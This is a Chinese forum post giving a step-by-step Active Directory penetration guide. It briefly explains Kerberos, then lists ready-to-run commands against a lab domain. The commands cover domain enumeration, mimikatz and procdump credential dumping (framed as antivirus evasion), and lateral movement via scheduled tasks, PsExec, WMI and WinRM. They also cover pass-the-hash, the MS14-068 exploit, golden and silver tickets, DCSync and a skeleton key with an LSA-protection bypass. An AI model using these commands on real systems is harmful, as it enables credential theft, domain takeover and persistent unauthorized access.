找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1828|回复: 0
打印 上一主题 下一主题

域渗透技能大全

[复制链接]
跳转到指定楼层
楼主
发表于 2022-3-31 02:08:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式


 

渗透

 

1、域的简单介绍

将网络中多台计算机逻辑上组织到一起进行集中管理,这种区别于工作组的逻辑环境叫做域。域是由域控制器Domain Controller和成员计算机组成,域控制器就是安装了活动目录Active Directory的计算机。活动目录提供了存储网络上对象信息并使用网络使用该数据的方法。

 

1.1      工作组的缺点

 

2  没有统一的管理机制,

2  没有对用户账户的统一的身份验证机制

2  没有统一查找网络资源的机制

 

1.2      域优势

 

活动目录的特点:

2  集中管理,可以集中的管理企业中成千上万分布于异地的计算机和用户。

2  便捷的网络资源访问,能够容易的定位到域中的资源。

2  用户一次登录就可访问整个网络资源,集中的身份验证。

2  网络资源主要包含用户帐户、组、共享文件夹、打印机等

2   可扩展性,既可以适用于几十台计算机的小规模网络,也可以适用于跨国公司。


 

 

2Kerberos 协议简介

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入数据。在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术如:共享密钥执行认证服务的。

 

 

2.1   Kerberos 协议框架

 

Kerberos 协议中主要有三个角色:

1、访问服务的Client 2、提供服务的 Server

3KDC(Key Distribution Center)密钥分发中心

KDC 默认安装在域控中,而 Client Server 为域内的用户或者服务,如web 应用、数据库服务器和邮件服务器等。Client 是否有权限访问 Server 端的服务由 KDC 发放的票据来决定。

如果把 Kerberos 中的票据比作一张火车票,那么 Client 端就是乘客,Server 就是火车, KDC 就是火车站的认证系统。如果 Client 端的票据是合法的由你本人身份证购买并且由你本人持有同时有访问 Server 端服务的权限(车票对应车次正确那么你才能上车。当然和火车票不同的是 Kerberos 中有两张票据,而火车票只有一张。


 

 

由上图可以看出,KDC 又分为两个部分:

Authentication Server: AS 的作用就是验证Client 的身份(确认你是身份证上的本人验证通过就给一张TGT(Ticket Granting Ticket)票给 Client

Ticket Granting Server:TGS 的作用就是通过 AS 发给Client 的票TGT换取访问 Server

:

端的票 STServer TicketST 也有资料称之为 TGS Ticket


2.2   Kerberos 认证流程

 

Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS

发放的 TGT Server 发起认证请求,这个过程分为三块:

The Authentication Service Exchange: Client AS 的交互

The Ticket Granting Service Exchange:Client TGS 的交互

The Client/Server Authentication Exchange:Client Server 的交互

:

 

(1)  The Authentication Service Exchange
KRB_AS_REQ:

Client->AS:发送 Authenticator1(Client 密码加密 TimeStamp)

第一步 Client 先向 KDC AS 发送 Authenticator1,内容为通过 Client 密码 hash 加密的时间戳、Client ID、网络地址、加密类型等内容。

KBR_AS_REP:

AS->Client:发送 Client 密码加密的 sessionkey-as 和票据 TGTKBRTGT HASH 加密的

sesionkey-as Timestamp

KDC 中存储了域中所有用户的密码 hash,当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client Client 密码 hash 加密的 sessionkey-as TGTKBRTGT HASH 加密的 sessionkey-as Timestamp 等信息


 

(2)  The Ticket Granting Service(TGS) Exchange
KBR_TGS_REQ:

Client->TGS 发送 Authenticator2(sessionkey-as 加密 timestamp)和票据 TGT(KBRTGT HASH

加密的 sessionkey-as timestamp)

Client 接收到了加密的sessionkey-as TGT 后,用自身的密码解密得到sessionkey-as TGT KDC 密码加密的,Client 无法解密。这时 Client 再用 sessionkey-as 加密 timestamp TGT 一起发送给 KDC 中的 TGSTicket Granting Server票据授权服务器换取能够访问Server 的票据。

KBR_TGS-REP:

TGS->Client:发送密文sessionkey-as 加密的 sessionkey-tgs和票据 ST(由 server 密码 hash 加密的 sessionkey-tgs

TGS 收到 Client 发送过来的 TGT Sessionkey-as 加密的 TimeStamp 之后,首先会检查自身是否存在Client 所请求的服务。如果服务存在,则用 KRBTGT 密码解密 TGT。一般情况下TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs Server 密码 HASH 加密的Sessionkey-tgs 发送给Client


 

(3)  The Client/Server Authentication Exchange

 

KBR_AP_REQ:

Client->Server 发送 Authenticator3(sessionkey-tgs 加密 timestamp)和票据 ST(Server 密码

hash 加密的 sessionkey-tgs)

Client 收到sessionkey-as 加密的sessionkey-tgs Server 密码hash 加密的sessionkey- tgs 之后用sessionkey-as 解密得到sessionkey-tgs,然后把 sessionkey-tgs 加密的timestampST 一起发送给 Server

KBR_AP_REP:

Server->Client :

Server 通过自己的密码解密 ST , 得到 sessionkey-tgs , 再用 sessionkey-tgs 解密

Authenticator3 得到 timestamp,验证正确返回验证成功。

:


3、域内信息收集

 

在拿到一台内网机器的时候,首先要确定是不是在域内。可通过以下命令来判断机器是否在域内,若命令能成功执行并返回结果则当前机器在域内,否则不在域内。

3.1      判断是否是域环境

 

net view /domain 查询域列表

:

net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器

:

net localgroup administrators 本机管理员【通常含有域用户】

net user /domain 查询域用户(当前域)


net group /domain 查询域工作组

:

net group "domain computers" /domain 查看加入域的所有计算机名

net group "domain admins" /domain 查询域管理员用户组和域管用户


 

net localgroup administrators /domain 查看域管理员

:

net group "domain controllers" /domain 查看域控

net accounts /domain 查看域密码策略


 

 

3.2      定位域控

 

1、通常域内主机DNS 地址就是域控地址

2、查看是否开启 53389 等端口

:

3ping 域控计算机名


 

 

 

3.2 非域信息收集

 

1、盲扫C 端、B 段等

2、查看arp 表、路由表

3、找配置文件,如数据库配置等

:


 

 

4、域内横向移动

 

4.1      凭据窃取

 

窃取凭据来帮助在域内横向移动。抓密码 hash 的工具有很多,例如 wcegetpassQuarksPwDump_v0.1Pwdump7 等等。介绍几个比较好用且自己常用的工具。

 

4.1.1    mimikatz

 

用法:

mimikatz # privilege::debug (提升权限

Privilege '20' OK

mimikatz # sekurlsa::logonpasswords (抓取明文密码和 hash Github 地址:https://github.com/gentilkiwi/mimikatz


 

 

 

4.1.2    procdump+mimikatz

 

Procdump 是微软官方发布的一款调试工具,因此不会被各种杀毒软件查杀。可使用

procdump mimikatz 来躲避杀软检测。

官方下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

 

1、使用procdump 将目标的 lsass.exe 转储成 dmp 文件

procdump64.exe -accepteula -ma lsass.exe lsass.dmp


 

2、使用 mimikatz 从转储的 lsass.dmp 中来读取明文密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

:


4.1.3    LaZagne

 

:

一款抓密码的神器,可以抓取系统密码、浏览器密码、wifi 密码等等。


 

 

 

4.2      横向移动

 

横向移动的常用方法和工具。

 

4.2.1    IPC+计划任务

 

进程间通信IPCInter-Process Communication,指至少两个进程或线程间传送数据或者信号的一些技术或方法。

 

 

4.2.1.1   IPC 利用条件

 

1139 445 端口开启:ipc 连接可以实现远程登录及对默认共享的访问;而 139 端口的开启表示netbios 协议的应用,我们可以通过 139445 端口实现对共享文件/打印机的访问


2、管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享, 即所有的逻辑盘(C$d$e$...)和系统目录 winnt 或者windowsadmin$

 

4.2.1.2    建立IPC 连接、copy 文件、创建计划任务

 

net user \\192.168.19.169\c$ test@123 /user:adtest\jeff1 copy 1.bat \\192.168.19.169\c$

 

net time \\192.168.19.169

at \\192.168.19.169 1:03 c:\1.bat

:

 

 

schtasks

:

由于 at 在新版本的系统中已被弃用,我们需要用schtasks 替代

 

schtasks /create /s 192.168.19.177 /u adtest\jeff1 /p test@123 /ru "SYSTEM" /tn test /sc DAILY

/tr c:\1.bat /F

创建计划任务,/s 指定远程机器名或 ip 地址,/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM/tn 是任务名称,/sc 是任务运行频率,这里指定为每天运行,并没什么实际意义,/tr 指定运行的文件,/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告


 

 

运行任务,其中/i 表示立即运行

:

schtasks /run /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /i


 

删除计划任务

schtasks /delete /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /f



4.2.1.3   IPC 常见错误

 

错误号 5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号 51Windows 无法找到网络路径 : 网络有问题;

错误号 53,找不到网络路径  ip 地址错误;目标未开机;目标 lanmanserver 服务未启动; 目标有防火墙(端口过滤

错误号 67,找不到网络名 : 你的 lanmanworkstation 服务未启动;目标删除了 ipc$; 错误号 1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$,请删除再连。

错误号 1326,未知的用户名或错误密码:原因很明显了;

错误号 1792,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动。连接域控会出现此情况

错误号 2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

 

4.2.1.4   PsTools

 

PsTools sysinternals 开发的一个功能强大的安全管理工具包,最新版目前共有 13 个各种功能的小工具。这里介绍下 psexecpsexec 是一款远程执行命令的工具,在内网渗透的时候常它来进行横向移动。

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec


 

PsExec

 

1、 若已建立 IPC$连接,无需再次输入账号密码,所有 pstools 工具可直接使用

:

net use //查看ipc 连接状态


:

 

2、 若未建立 IPC 连接,则要使用账号密码进行登录

PsExec.exe \\192.168.19.178 -u adtest\jeff1 -p test@123 cmd.exe

:


4.2.2    WMI

 

WMI(Windows Management Instrumentation Windows 管理规范) 是一项核心的

Windows 管理技术;用户可以使用WMI 管理本地和远程计算机。

 

 

4.2.2.1   WMI 利用条件

 

1WMI 服务开启(默认开启)

2135 端口未被过滤

 

 

4.2.2.2    利用wmic 进行横向移动

 

利用系统自带的工具 wmic 在目标主机上执行任意命令

 

wmic /node:192.168.19.178 /user:adtest\jeff1 /password:test@123 process call create "calc"

:

缺点:无法回显命令


4.2.2.2 wmiexec.vbs

 

:

wmiexec.vbs 是为了解决 wmic 无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的shell

 

:

cscript wmiexec.vbs /cmd 192.168.19.178 adtest\jeff1 test@123 whoami


:

cscript wmiexec.vbs /shell 192.168.19.178 adtest\jeff1 test@123

 

 

4.2.3    WinRM

 

WinRM(Windows Remote Management)Microsoft WS-Management 协议的实现, WS-Management 协议即一种基于标准简单对象访问协议soap的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。

 

 

4.2.3.1   WinRM 利用条件

 

1、适用于win7 及以后的系统,win7 server 08 默认关闭

2server 12 之后的版本才默认允许远程任意主机进行管理

:

3、防火墙未过滤 59855986 端口

 

 

4.2.3.2   WINRS

 

winrs(windows remote shell)WinRM 的客户端,需要管理员权限才能运行,可直接执行命令,也可以返回交互式 shell


:

winrs -r:192.168.19.100 -u:adtest\administrator -p:admin@124 "cmd

 

winrs -r:192.168.19.100 -u:adtest\administrator -p:admin@124 whoami

:

 

 

4.2.3.3   Powershell Invoke-Command

 

PS C:\Users\jeff1> Invoke-Command -ComputerName 192.168.19.100 -ScriptBlock {whoami}

-credential adtest\administrator


 

 

 

4.2.4    PTH(pass the hash)

 

PTH(pass the hash,hash 传递)攻击是指攻击者可以直接通过 LM Hash(已弃用) NTLM Hash 访问远程主机或服务,而不提供明文密码。


4.2.4.1   Mimikatz

 


 


mimikatz               #               sekurlsa::pth               /user:administrator                             /domain:.

/ntlm:c5113714efbff7fa196f2e2b50938a8f

:

 

 

4.2.4.2   impacket-examples-windows

 

impacket-examples-windows impacket网络协议工具包windows 版本,包含了几十款工具,这里使用wmiexec.exe 来演示 pth 攻击。

wmiexec.exe                                                                                                             -hashes

b084e803561e306bff17365faf1ffe89:db23832fd3822fcaea5c019f090fe752 ADTEST/jeff1@192.168.19.14 "whoami"

:

 


下载地址:

impacket-examples-windowshttps://github.com/maaaaz/impacket-examples-windows/releases impacket

https://github.com/SecureAuthCorp/impacket

 

4.2.5 MS14-068

 

MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞,微软给出的补丁是 kb3011780。在 server 2000 以上的域控中,只要没打这个补丁,都有可能被利用。

 

:

1、 尝试直接访问域控的 C

 

2、使用 ms14-068 exp,生成票据

C:\Users\jeff1\Desktop>MS14-068.exe -u jeff1@adtest.com -s S-1-5-21-3418659180-3 421952656-1938706522-1109 -d 192.168.19.100 -p test@124


 

3、 使用 mimilatz 导入生成的 ccache 文件,导入之前 cmd 下使用命令 klist purge 或者在

:

mimikatz 中使用 kerberos::purge 删除当前缓存的 kerberos 票据

 

导入票据:

kerberos::ptc TGT_jeff1@adtest.com.ccache


 

4、 再次访问域控

:

MS14-068 下载地址:

https://github.com/abatchy17/WindowsExploits/raw/master/MS14-068/MS14-068.exe

 

 

4.2.6    web 漏洞

 

当我们通过以上方法无法进行横向移动的时候,只能回到 web。通过扫描内网 web 应用,通过web 漏洞再进一步进行横向移动,常见能直接获得webshell 的漏洞如下:

 

Ø  struts2 远程代码执行

Ø  weblogic 反序列化漏洞

Ø  weblogic 弱口令

Ø  tomcat 弱口令


Ø  shiro 远程代码执行

Ø  phpstudy 后门

Ø  fastjson 远程代码执行

Ø  sql 注入

Ø  等等

 

 

4.2.7      系统漏洞

 

当内网没有 web 应用的时候,可以尝试通过一些系统漏洞来进行横向移动,通常不建议使用此类漏洞,因为很容易导致服务器蓝屏,常见漏洞如下:

Ø  MS08-067

Ø  MS17-010

Ø  CVE-2019-0708

Ø  等等

 

 

5  权限维持

 

5.1      黄金票据

 

黄金票据(Golden Ticket)是有效的 TGT(TicketGranting Ticket)票据,是由 KERBEROS 账户(KBRTGT)加密的。用于域控权限掉后,想再重新获取。因为域管的密码可能更改, 通常 kbrtgt 账户不会有人去过问。

 

 

5.1.1      制作黄金票据的前提条件

 

1、域名称

2、域的SID

3、域的KRBTGT 账户的密码 hash

4、伪造的用户名,可以是任意用户甚至是不存在的用户

 

5.1.2      黄金票据利用

 

1、导出 krbtgt 密码 hash

mimikatz#lsadump::dcsync /domain:adtest.com /user:krbtgt


 

导出所有域内用户密码 hash 值:

mimikatz#lsadump::dcsync /domain:adtest.com /all /csv


 

2、获取域 SID

:

在导出 krbtgt hash 的时候已经包含了域SID,也可以用以下命令来查看域 SID whoami /all

 

3、伪造黄金票据

 

mimikatz.exe    privilege::debug    "kerberos::golden                        /domain:adtest.com                     /sid:S-1-5-21- 3418659180-3421952656-1938706522                 /target:WIN-9P499QKTLDO.ADTEST.COM

/service:cifs /rc4: 6f0fdf50f2dcee2fed8e2e3eae7e1592 /user:aaa /ptt"

 

这里可以不指定target service

kerberos::golden      /domain:adtest.com      /sid:S-1-5-21-3418659180-3421952656- 1938706522 /rc4:6f0fdf50f2dcee2fed8e2e3eae7e1592 /user:aaa /ptt


 

使用 klist 查看本地缓存的票据

获得票据后可直接通过dir 远程访问主机,可以直接使用ipc 进行连接:


 

:

当然也可以使用psexec 去获得一个 cmdshell

 

注:普通黄金票据不能跨域使用;TGT 有效时间为 20 分钟;。


 

5.2      白银票据

 

黄金票据是伪造 TGT,白银票据(Silver Tickets)是伪造 ST(Service Ticket),因为 TGT

pac 里面限定了给Client 授权的服务,所以银票只能访问指定的服务。

 

 

5.2.1      伪造白银票据的前提条件

 

1、域名称

2、域的SID

3、域的服务账号的密码 hash

4、伪造的用户名(可以是任意的)

 

5.2.2      白银票据的利用

 

在黄金票据中我们可以不指定 target service,但是在白银票据中必须指定 target

service

mimikatz.exe privilege::debug "kerberos::golden /domain:adtest.com /sid:S-1-5-21- 3418659180-3421952656-1938706522 /target:WIN-9P499QKTLDO.ADTEST.COM

:

/service:cifs /rc4:22eec3fbe7191bdcf1e5819f8bdcd951 /user:aaa /ptt"


 

 

 

5.3   skeleton key

 

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对lsass.exe  进行注入,所以重启后会失效。


1、 在域控上安装skeleton key

:

mimikatz.exe privilege::debug "misc::skeleton"

 

2、 在域内其他机器尝试使用 skeleton key 去访问域控添加的密码是 mimikatz

C:\Users\jeff1>net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\adm inistrator


 

3、 微软在 2014 3 12 日添加了 LSA 爆护策略,用来防止对进程lsass.exe 的代码注入。如果直接尝试添加skelenton key 会失败。

 

适用系统:

windows 8.1

windows server 2012 及以上

:


当然 mimikatz 依旧可以绕过,命令如下:

privilege::debug

!+

!processprotect /process:lsass.exe /remove misc::skeleton


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表